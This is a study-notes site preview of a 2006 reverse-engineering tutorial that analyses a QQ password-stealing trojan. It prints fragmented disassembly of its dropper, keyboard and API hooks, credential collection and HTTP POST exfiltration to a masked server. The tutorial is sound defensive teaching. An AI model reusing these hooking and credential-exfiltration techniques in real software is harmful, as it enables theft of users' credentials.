Search for notes by fellow students, in your own course and all over the country.
Browse our notes for titles which look like what you need, you can preview any of the notes via a sample of the contents. After you're happy these are the notes you're after simply pop them into your shopping cart.
Title: Hacking
Description: It's a complete notes on Anatomy of Malware Hacking
Description: It's a complete notes on Anatomy of Malware Hacking
Document Preview
Extracts from the notes are below, to see the PDF you'll receive please use the links above
Anatomy of a Malware
Nicolas Falliere
January 9, 2006
Introduction
This tutorial should help people understand how a simple piece of malware works
...
This first paper is about a password stealer
...
The code is quite clear and understandable
...
For educational purposes, most of the
analysis will consist of a white box approach - in our case, meaning stepping through the
program and analyzing it with a disassembler
...
Nothing particular there, it's a standard PE file with 2 sections; the first one has a physical
size of 0 bytes
...
The file contains no visible embedded executable
...
esp,[0040D850]
esp,eax
ebp
Our suspicion is confirmed, this file is packed with FSG version 2
...
I encourage you to download it on the Internet,
and try to pack a file with it, to check that the entry point is similar to the one of our malware
...
The IAT is resolved with a LoadLibrary
loop, just before a jump to the original entry point
...
Since the API resolution is done after the
unpacking with a series of calls to LoadLibraryA/GetProcAddress, let's set a breakpoint on
this API
...
This jump lands in another section - which is generally a good means
to find when a simple packer has done its jobs, by the way
...
Let's dump the
debugged executable from memory and analyze it
...
Let's
not forget to check that the entry point of the dump is set on 0x4012D3
...
The import name table is messed up, of course, but not enough to disturb the
analysis in IDA
...
The dump
Let's have a look at that dump
...
newIID")
...
We won't have a look at it now, but our first guess is that the
main executable is a simple dropper
...
Nothing
else of interest here, except some strings, some of them quite unique to identify the malware:
DLLFILE
...
RX_SHARE
RX_MUTEX
C:\NewSpy
C:\NewSpy
C:\NewSpy\Hook
...
exe
C:\NewSpy\Hook
...
SPY KING
Accept: */*
HTTP/1
...
DLL
SendMessageA
USER32
...
exe
launcher
...
Some mutex names, file paths, explicit names (spy, hook
...
The QQ reference might indicate
this program's goal is to steal QQ's creadentials (QQ is the largest messenging system in
China)
...
A quick look at the
import table and API names also gives some nice hints about the inner working of this
program
...
White box analysis of the dump with IDA
The program starts with:
004012D3 start
public start
proc near
004012D3
004012D4
004012D6
004012DB
004012DD
004012E2
004012E8
004012EA
004012EC
004012F1
004012F1 loc_4012F1:
004012F1
004012F2
004012F2 start
push
mov
push
push
push
call
test
jnz
call
ebp
ebp, esp
offset aRx_mutex ; "RX_MUTEX"
0
; bInheritHandle
1F0001h
; dwDesiredAccess
OpenMutexA
eax, eax
short loc_4012F1
do_malicious
pop
retn
endp
ebp
The program tries to open a mutex named "RX_MUTEX"
...
This is a classic way - the easiest - to set a global marker on a system,
to notify that the trojan is already running
...
After analysis, I renamed most functions of the
program; the one we're having a look at now is do_malicious():
00401221
00401221
00401221
00401221
00401221
00401221
00401221
00401221
00401222
00401224
00401227
00401229
0040122E
00401234
00401236
0040123B
00401241
do_malicious
proc near
pHookStart
Msg
hModule
var_4
=
=
=
=
dword ptr -28h
tagMSG ptr -24h
dword ptr -8
dword ptr -4
push
mov
sub
push
push
call
push
push
call
push
ebp
ebp, esp
esp, 28h
0
; lpSecurityAttr
offset szDir_
; "C:\\NewSpy"
CreateDirectoryA
6
; dwFileAttributes
offset szDir
; "C:\\NewSpy"
SetFileAttributesA
offset aCNewspyHook_dl
; "C:\\NewSpy\\Hook
...
exe"
get_mod_filename
eax
; lpExistingFileName
CopyFileA
offset LibFileName
; "C:\\NewSpy\\Hook
...
The following call to
'drop_dll_from_res' is important
...
Let's check it out:
00401000 ; int __cdecl drop_dll_from_res
(LPCSTR lpType,LPCSTR lpName,LPCSTR lpFileName)
00401000 drop_dll_from_res proc near
00401000
00401000 hResData
= dword ptr -1Ch
00401000 hObject
= dword ptr -18h
00401000 hResInfo
= dword ptr -14h
00401000 nNumberOfBytesToWrite= dword ptr -10h
00401000 lpBuffer
= dword ptr -0Ch
00401000 NumberOfBytesWritten= dword ptr -8
00401000 hModule
= dword ptr -4
00401000 lpType
= dword ptr 8
00401000 lpName
= dword ptr 0Ch
00401000 lpFileName
= dword ptr 10h
00401000
00401000
push
ebp
00401001
mov
ebp, esp
00401003
sub
esp, 1Ch
00401006
push
0
; lpModuleName
00401008
call
GetModuleHandleA
0040100E
00401011
00401014
00401015
00401018
00401019
0040101C
0040101D
00401023
00401026
0040102A
0040102C
0040102E
00401033
00401033
00401033
00401033
00401036
00401037
0040103A
0040103B
00401041
00401044
00401048
0040104A
0040104C
00401051
00401051
00401051
00401051
00401054
00401055
0040105B
0040105E
00401062
00401064
00401067
00401068
0040106E
00401070
00401075
00401075
00401075
00401075
00401077
0040107C
0040107E
00401080
00401082
00401087
0040108A
0040108B
00401091
00401094
00401098
0040109A
0040109D
0040109E
004010A4
004010A6
004010A8
004010A8
004010A8
004010A8
mov
[ebp+hModule], eax
mov
eax, [ebp+lpType]
push
eax
; lpType
mov
ecx, [ebp+lpName]
push
ecx
; lpName
mov
edx, [ebp+hModule]
push
edx
; hModule
call
FindResourceA
mov
[ebp+hResInfo], eax
cmp
[ebp+hResInfo], 0
jnz
short loc_401033
xor
eax, eax
jmp
loc_401100
; ---------------------------------------------------------loc_401033:
mov
eax, [ebp+hResInfo]
push
eax
; hResInfo
mov
ecx, [ebp+hModule]
push
ecx
; hModule
call
LoadResource
mov
[ebp+hResData], eax
cmp
[ebp+hResData], 0
jnz
short loc_401051
xor
eax, eax
jmp
loc_401100
; -------------------------------------------------------loc_401051:
mov
edx, [ebp+hResData]
push
edx
; hResData
call
LockResource
mov
[ebp+lpBuffer], eax
cmp
[ebp+lpBuffer], 0
jnz
short loc_401075
mov
eax, [ebp+hResData]
push
eax
; hResData
call
FreeResource
xor
eax, eax
jmp
loc_401100
; ---------------------------------------------------------loc_401075:
push
0
; hTemplateFile
push
80h
; dwFlagsAndAttr
push
2
; dwCreationDispo
push
0
; lpSecurityAttr
push
2
; dwShareMode
push
40000000h
; dwDesiredAccess
mov
ecx, [ebp+lpFileName]
push
ecx
; lpFileName
call
CreateFileA
mov
[ebp+hObject], eax
cmp
[ebp+hObject], 0FFFFFFFFh
jnz
short loc_4010A8
mov
edx, [ebp+hResData]
push
edx
; hResData
call
FreeResource
xor
eax, eax
jmp
short loc_401100
; ---------------------------------------------------------loc_4010A8:
mov
eax, [ebp+hResInfo]
004010AB
004010AC
004010AF
004010B0
004010B6
004010B9
004010BB
004010BE
004010BF
004010C2
004010C3
004010C6
004010C7
004010CA
004010CB
004010D1
004010D4
004010D7
004010D9
004010DC
004010DD
004010E3
004010E5
004010E7
004010E7
004010E7
004010E7
004010EA
004010EB
004010F1
004010F4
004010F5
004010FB
00401100
00401100
00401100
00401102
00401103
00401103
push
eax
; hResInfo
mov
ecx, [ebp+hModule]
push
ecx
; hModule
call
SizeofResource
mov
[ebp+nNumberOfBytesToWrite], eax
push
0
; lpOverlapped
lea
edx, [ebp+NumberOfBytesWritten]
push
edx
; lpNumberOfBytesWri
mov
eax, [ebp+nNumberOfBytesToWrite]
push
eax
; nNumberOfBytesToWr
mov
ecx, [ebp+lpBuffer]
push
ecx
; lpBuffer
mov
edx, [ebp+hObject]
push
edx
; hFile
call
WriteFile
mov
eax, [ebp+NumberOfBytesWritten]
cmp
eax, [ebp+nNumberOfBytesToWrite]
jz
short loc_4010E7
mov
ecx, [ebp+hResData]
push
ecx
; hResData
call
FreeResource
xor
eax, eax
jmp
short loc_401100
; ---------------------------------------------------------loc_4010E7:
mov
push
call
mov
push
call
mov
edx, [ebp+hObject]
edx
; hObject
CloseHandle
eax, [ebp+hResData]
eax
; hResData
FreeResource
eax, 1
loc_401100:
mov
pop
retn
drop_dll_from_res endp
esp, ebp
ebp
This function uses the *Resource API functions exported by kernel32 to extract a resource
...
It returns
a handle on that resource
...
dll
So a DLL file is dropped
...
The executable file - the main program - is copied to C:\NewSpy\Start
...
The dropped DLL
is loaded in the address space of our program, and a pointer to an exported entry is retrieved
with GetProcAddress: HookStart
...
Meanwhile, let's check out this call to map_memory_area():
004011BC
004011BC
004011BC
004011BC
004011BC
004011BD
004011BF
004011C0
004011C5
004011CA
004011CC
004011CE
004011D0
004011D2
004011D8
004011DB
004011DF
004011E1
004011E3
004011E5
004011E7
004011E9
004011EC
004011ED
004011F3
004011F8
004011FF
00401201
00401207
00401208
0040120D
00401210
00401210
00401210
00401216
00401217
0040121D
0040121F
00401220
00401220
map_memory_area proc near
hFileMappingObject= dword ptr -4
push
mov
push
push
push
push
push
push
push
call
mov
cmp
jz
push
push
push
push
mov
push
call
mov
cmp
jz
mov
push
call
add
ebp
ebp, esp
ecx
offset Name
; "RX_SHARE"
0A4h
; dwMaximumSizeLow
0
; dwMaximumSizeHigh
4
; flProtect
0
; lpFileMappingAttr
0FFFFFFFFh
; hFile
CreateFileMappingA
[ebp+hFileMappingObject], eax
[ebp+hFileMappingObject], 0
short loc_401210
0
; dwNbOfBytesToMap
0
; dwFileOffsetLow
0
; dwFileOffsetHigh
2
; dwDesiredAccess
eax, [ebp+hFileMappingObject]
eax
; hFileMappingObject
MapViewOfFile
lpBaseAddress, eax
lpBaseAddress, 0
short loc_401210
ecx, lpBaseAddress
ecx
; lpBuffer
copy_last_a4_bytes_to_map
esp, 4
loc_401210:
mov
push
call
mov
pop
retn
map_memory_area endp
edx, lpBaseAddress
edx
; lpBaseAddress
UnmapViewOfFile
esp, ebp
ebp
This is a short function, that creates a file mapping
...
It's a nice way to share memory between two processes
...
A blank memory area will be created
...
- Then, a function that I named fill_shared_mem(), is called
- The memory is unmapped from the current process with a call to UnmapViewOfFile
...
The first
DWORD of that memory block is set to the TID of the running thread
...
We don't know what the last 0xA0 bytes are
...
Don't forget that this
function is exported by the dropped DLL, loaded in our process
...
This API just wait for a message to come
in the current thread message queue
...
In this case, the program will terminate only when it
receives a message
...
It's just time to
examine this mysterious DLL
...
Let's fire up IDA
...
So far so good
...
The
constant 1 is in fact DLL_PROCESS_ATTACH
...
The file name of the executable module within which the DLL executes is retrived, and
compared to 'Client
...
exe'
...
1) A program called 'Explorer
...
That would mean this DLL
contains all it needs to execute its malicious deeds
...
2) A program called 'Client
...
A pointer to that block is stored
in a global variable
...
This call checks out some QQ files
located in the Program Files folder
...
exe, the original name of that executable
...
HookStart was called
...
This procedure
sets two Windows-message hooks
...
The hook procedure is then responsible for relaying that message to the recipient or not
...
Check the constants 7 and 2
on the SetWindowsHookEx's MSDN page
...
Here is the mouse's one:
10002678 ; LRESULT __stdcall winhook_mouse_callback
(int,WPARAM,LPARAM)
10002678 winhook_mouse_callback proc near
10002678
10002678 nCode
= dword ptr 8
10002678 wParam
= dword ptr 0Ch
10002678 lParam
= dword ptr 10h
10002678
10002678
push
ebp
10002679
mov
ebp, esp
1000267B
cmp
[ebp+wParam], WM_LBUTTONDOWN
10002682
jz
short loc_10002696
10002684
cmp
[ebp+wParam], WM_RBUTTONDOWN
1000268B
jz
short loc_10002696
1000268D
cmp
[ebp+wParam], WM_LBUTTONDBLCLK
10002694
jnz
short loc_100026C3
10002696
10002696 loc_10002696:
10002696
cmp
dword_10004428, 0
1000269D
jz
short loc_100026C3
1000269F
cmp
dword_1000442C, 0
100026A6
jnz
short loc_100026C3
100026A8
push
0
; lpWindowName
100026AA
push
offset ClassName ; "D3D"
100026AF
call
ds:FindWindowA
100026B5
test
eax, eax
100026B7
jz
short loc_100026C3
100026B9
call
process_hooked_message
100026BE
mov
dword_1000442C, eax
100026C3
100026C3 loc_100026C3:
100026C3
mov
eax, [ebp+lParam]
100026C6
push
eax
; lParam
100026C7
mov
ecx, [ebp+wParam]
100026CA
push
ecx
; wParam
100026CB
mov
edx, [ebp+nCode]
100026CE
push
edx
; nCode
100026CF
mov
eax, bMouseHook
100026D4
push
eax
; hhk
100026D5
call
ds:CallNextHookEx
100026DB
pop
ebp
100026DC
retn
0Ch
100026DC winhook_mouse_callback endp
If the message being hooked matches a left/right button getting pressed or a left double-click,
the function cheks that a Window whose class is named 'D3D' exists
...
Finding what the program wants to intercept here
might be difficult
...
The core of the malicious action that will take place if the criteria are matched, in
process_hooked_message()
...
Back to DllMain
Let's go back to DllMain
...
exe
...
The main binary
is located by default to C:\Program Files\Tencent\QQ\CoralQQ
...
By the way, using hard-coded path names is usually a bad idea, as programs
could be installed anywhere on the system
...
CoralQQ is modified to automatically load the malicious DLL when it's run by the user
...
We'll eventually analyze file infectors specifically in a future paper
...
This function
is actually the entry point of a new thread
...
However, we can now explain where the
Windows message expected by the initial program could come from
...
GetMessage() will process it, and the thread will terminate properly
...
In fact, the shared
memory contains vital information for the malware
...
If another program opens the shared map, such as a program which would
load this DLL, then it will not get destroyed when the main program terminates
...
The way it hooks the two APIs is classic: their entry point point is saved,
then modified to call a hook procedure located in the DLL
...
Here's an
example with ToAscii:
10001D8A inj_ToAscii
10001D8A
10001D8B
10001D8D
10001D92
10001D97
10001D9D
10001D9E
10001DA4
10001DA9
10001DAB
proc near
push
ebp
mov
ebp, esp
push
offset ProcName ; "ToAscii"
push
offset ModuleName ; "USER32
...
Though that may seem
pointless to QWERTY keyboards' users with ASCII-only keys, don't forget that QQ is a
chinese messenging system
...
The hook procedure, hook_ToAscii(), first calls the original ToAscii API - by using the original
entry point, previously saved - and copies the character to a buffer that will be used by the
hook procedure of SendMessage
...
exe
...
Let's have a look at inj_QQ_routine():
10001ECB inj_QQ_routine
10001ECB
10001ECB addr_insn
10001ECB buffer
10001ECB
10001ECB
10001ECC
10001ECE
10001ED1
10001ED3
data
10001ED8
10001EDD
10001EE0
10001EE3
10001EE5
10001EEA
10001EED
10001EF0
10001EFA
proc near
10001F04
10001F06
10001F0B
10001F0E
10001F0F
10001F14
10001F17
10001F1A
10001F20
push
push
mov
push
call
add
mov
mov
mov
10001F2A
10001F2C
10001F31
10001F34
push
push
mov
push
= dword ptr -8
= dword ptr -4
push
mov
sub
push
push
ebp
ebp, esp
esp, 8
0Ah
; size
offset data_mov_ecxebx_mov_esi ;
call
add
mov
push
call
add
mov
mov
mov
find_data_in_exe_module
esp, 8
[ebp+addr_insn], eax
11h
; size_t
malloc
esp, 4
[ebp+buffer], eax
dword_1000407C, offset hook_qq_func
dword_1000408B,
offset dword_1000407C
11h
; size
offset injected_data ; addr_src
eax, [ebp+buffer]
eax
; addr_dst
memcopy
esp, 0Ch
ecx, [ebp+buffer]
dword_10004070, ecx
dword_10004076,
offset dword_10004070
8
; size
offset unk_10004074 ; addr_src
edx, [ebp+addr_insn]
edx
; addr_dst
10001F35
10001F3A
10001F3D
10001F3F
10001F40
10001F40 inj_QQ_routine
call
add
mov
pop
retn
endp
memcopy
esp, 0Ch
esp, ebp
ebp
The thing to see here is that a hook procedure, hook_qq_func(), will be called when a
particular function of QQ gets called
...
hook_qq_func() performs some string operations, and then calls set_timer(), at
0x10001D03
...
10001A85 set_timer
10001A85
10001A86
10001A88
10001A8F
10001A91
10001A96
10001A9B
10001A9D
10001A9F
10001AA5
10001AAA
10001AAA loc_10001AAA:
10001AAA
10001AAB
10001AAB set_timer
proc near
push
ebp
mov
ebp, esp
cmp
uIDEvent, 0
jnz
short loc_10001AAA
push
offset timer_func ; lpTimerFunc
push
5000
; uElapse
push
0
; nIDEvent
push
0
; hWnd
call
ds:SetTimer
mov
uIDEvent, eax
pop
retn
endp
ebp
The SetTimer() API sets a timer to wake up every 5 seconds
...
The second
possibility is used here
...
Let's
dive into it!
10001938 ; void __stdcall timer_func(HWND,UINT,UINT,DWORD)
10001938 timer_func
proc near
10001938
10001938 url_parameters = byte ptr -500h
10001938
10001938
push
ebp
10001939
mov
ebp, esp
1000193B
sub
esp, 500h
10001941
push
edi
10001942
mov
eax, uIDEvent
10001947
push
eax
; uIDEvent
10001948
push
0
; hWnd
1000194A
call
ds:KillTimer
10001950
mov
[ebp+url_parameters], 0
10001957
mov
ecx, 13Fh
1000195C
xor
eax, eax
1000195E
lea
edi, [ebp-4FFh]
10001964
rep stosd
10001966
stosw
10001968
stosb
10001969
push
offset aUser
; "User="
1000196E
lea
ecx, [ebp+url_parameters]
10001974
push
ecx
; char *
10001975
call
strcat
1000197A
add
esp, 8
1000197D
10001982
10001988
10001989
1000198E
10001991
10001996
1000199C
1000199D
100019A2
100019A5
100019AA
100019B0
100019B1
100019B6
100019B9
100019BE
100019C4
100019C5
100019CA
100019CD
100019D2
100019D8
100019D9
100019DE
100019E1
100019E6
100019EC
100019ED
100019F2
100019F5
100019FA
10001A00
10001A01
10001A06
10001A09
10001A0E
10001A14
10001A15
10001A1A
10001A1D
10001A22
10001A28
10001A29
10001A2E
10001A31
10001A37
10001A38
10001A3D
10001A40
10001A41
10001A47
10001A48
10001A4E
10001A51
10001A52
10001A57
10001A5A
10001A5B
10001A61
10001A64
10001A65
push
offset qq_user ; char *
lea
edx, [ebp+url_parameters]
push
edx
; char *
call
build_url
add
esp, 8
push
offset aPass
; "&Pass="
lea
eax, [ebp+url_parameters]
push
eax
; char *
call
strcat
add
esp, 8
push
offset qq_pass ; char *
lea
ecx, [ebp+url_parameters]
push
ecx
; char *
call
build_url
add
esp, 8
push
offset aServ
; "&Serv="
lea
edx, [ebp+url_parameters]
push
edx
; char *
call
strcat
add
esp, 8
push
offset qq_server ; char *
lea
eax, [ebp+url_parameters]
push
eax
; char *
call
build_url
add
esp, 8
push
offset aRole
; "&Role="
lea
ecx, [ebp+url_parameters]
push
ecx
; char *
call
strcat
add
esp, 8
push
offset qq_role ; char *
lea
edx, [ebp+url_parameters]
push
edx
; char *
call
build_url
add
esp, 8
push
offset aEdit
; "&Edit="
lea
eax, [ebp+url_parameters]
push
eax
; char *
call
strcat
add
esp, 8
push
offset qq_edit ; char *
lea
ecx, [ebp+url_parameters]
push
ecx
; char *
call
build_url
add
esp, 8
lea
edx, [ebp+url_parameters]
push
edx
; char *
call
strlen
add
esp, 4
push
eax
; dwOptionalLength
lea
eax, [ebp+url_parameters]
push
eax
; lpOptional
mov
ecx, pSharedMap
add
ecx, 54h
push
ecx
; data
call
decode_http_info
; extracts some url parts from shared map
add
esp, 4
push
eax
; lpszObjectName
mov
edx, pSharedMap
add
edx, 4
push
edx
; data
call
decode_http_info
; extracts server name from shared map
10001A6A
10001A6D
10001A6E
10001A73
10001A76
10001A80
10001A81
10001A83
10001A84
10001A84 timer_func
add
push
call
add
mov
pop
mov
pop
retn
endp
esp, 4
eax
; lpszServerName
send_qq_info_to_server
esp, 10h
bQQHookCannotbeExec, 1
edi
esp, ebp
ebp
The first thing that function does is to kill the timer that actually triggered it! So the timer was
actually a simple "obfuscated" way to call it, instead of having a classic function call
...
Several pieces of
information such as the user name, password or server are collected and concatenated to
form what looks like a URL with GET parameters
...
Imagine there was no name, let's skip it for the moment, and examine the
next function send_qq_info_to_server()
...
0"
10001855
mov
ecx, [ebp+lpszObjectName]
10001858
push
ecx
; lpszObjectName
10001859
push
offset szVerb
; "POST"
1000185E
mov
edx, [ebp+hConnect]
10001861
push
edx
; hConnect
10001862
call
ds:HttpOpenRequestA
10001868
mov
[ebp+hRequest], eax
1000186B
cmp
[ebp+hRequest], 0
1000186F
jnz
short loc_10001889
10001871
mov
eax, [ebp+hConnect]
10001874
push
eax
; hInternet
10001875
call
ds:InternetCloseHandle
1000187B
mov
ecx, [ebp+hInternet]
1000187E
push
ecx
; hInternet
1000187F
call
ds:InternetCloseHandle
10001885
xor
eax, eax
10001887
jmp
short loc_100018C5
10001889 ; ---------------------------------------------------------10001889
10001889 loc_10001889:
10001889
mov
edx, [ebp+dwOptionalLength]
1000188C
push
edx
; dwOptionalLength
1000188D
mov
eax, [ebp+lpOptional]
10001890
push
eax
; lpOptional
10001891
push
2Fh
; dwHeadersLength
10001893
push
offset szHeaders
; "Content-Type: application/x-www-form-ur"
...
The collected information about QQ is posted via a POST request
...
)
-> the HTTP user agent used is "SPY KING"
hConnect = InternetConnect(hInternet, server_name, 80,
...
)
-> prepare a POST request on the URL "server_name/object_name"
HttpSendRequest(hRequest, "Content-Type:
...
)
-> close everything the proper way
optional is the actual stolen data
...
So how
come we didn't see any URL or IP address ?
Sending the stolen data, yes but where?
Let's analyze timer_func() deeper
...
Those string pointers seem to be
calculated by a function, decode_http_info(), called twice in 0x10001A52 and 0x10001A65
...
Actually, the first call is given a pointer to the shared map +0x54, the
second +4
...
Now, the piece of data stored from 4 to 0x104 seems
encoded:
Offset Data, encoded
--------------------0x00
0x04
0F0F0F05ED0E0CA6C6
...
...
0000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
Let's see what decode_http_info does with it:
100018C9
100018C9
100018C9
100018C9
100018C9
100018C9
; int __cdecl decode_http_info(char *data)
decode_http_info proc near
len
cpt
buffer
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
100018C9
100018C9
100018C9
100018CA
100018CC
100018CF
100018D1
100018D6
100018D9
100018DC
100018DE
100018E0
100018E3
100018E4
100018E9
100018EC
100018EF
100018F0
100018F5
100018F8
100018FB
10001902
10001904
10001904
10001904
10001904
10001907
1000190A
1000190D
1000190D
1000190D
10001910
10001913
10001915
10001918
1000191B
1000191D
1000191F
10001920
10001922
10001924
10001927
1000192A
1000192D
1000192F
10001931
10001931
10001931
10001931
10001934
10001936
10001937
10001937
data
= dword ptr
8
push
ebp
mov
ebp, esp
sub
esp, 0Ch
push
50h
; size_t
call
malloc
add
esp, 4
mov
[ebp+buffer], eax
push
50h
; size_t
push
0
; int
mov
eax, [ebp+buffer]
push
eax
; void *
call
memset
add
esp, 0Ch
mov
ecx, [ebp+data]
push
ecx
; char *
call
strlen
add
esp, 4
mov
[ebp+len], eax
mov
[ebp+cpt], 0
jmp
short loc_1000190D
; ---------------------------------------------------------loc_10001904:
mov
add
mov
edx, [ebp+cpt]
edx, 1
[ebp+cpt], edx
loc_1000190D:
mov
eax, [ebp+cpt]
cmp
eax, [ebp+len]
jnb
short @exit
mov
ecx, [ebp+data]
add
ecx, [ebp+cpt]
xor
eax, eax
mov
al, [ecx]
cdq
sub
eax, edx
sar
eax, 1
sub
eax, 1
mov
edx, [ebp+buffer]
add
edx, [ebp+cpt]
mov
[edx], al
jmp
short loc_10001904
; ---------------------------------------------------------@exit:
mov
mov
pop
retn
decode_http_info endp
eax, [ebp+buffer]
esp, ebp
ebp
If this function doesn't speak to you, just look at those instructions:
xor
mov
...
mov
eax, eax
al, [ecx]
eax, 1
eax, 1
[edx], al
A character from the encoded string is stored in eax
...
The result is stored in a dynamically allocated memory chunk
...
god52*****
object_name: kanxin/******/******/mail
...
The algorithm was quite poor, but still sufficient to
prevent an analyst to get all pieces of information from a simple look at the program's data
...
The conditions to actually get the infostealer to work are not trivial:
- need to have the program with a proper name, as seen before (client
...
Active reverse engineering is an efficient way to
quickly find important pieces of information
...
The program gave
us the pieces of information we needed to find, but we may have find those faster
...
In the case of that program, the thinking could be:
- check the strings:
* 'QQ': it may try to steal QQ's credentials
* 'Spy', etc: confirmation of the above
* URL parameters 'pass', 'user': those credentials may be sent via a URL
- check the imports:
* the resource APIs: the file may be a dropper of the real malware that needs analysis
* the shared map APIs: some vital information may be there (which was the case)
- check the dropped component:
* the hook APIs, FindWindow API: classic combination of a hooking program
* the high-level HTTP handling APIs: confirms our suspicion above
It's only a subset of what types of fast and profitable actions we may start an analysis with
...
Meanwhile, it was a pleasure for me to talk about this CoralQQ password stealer program!
NF - first_name d-o-t last_name a-t g-m-a-i-l d-o-t c_o_m
Title: Hacking
Description: It's a complete notes on Anatomy of Malware Hacking
Description: It's a complete notes on Anatomy of Malware Hacking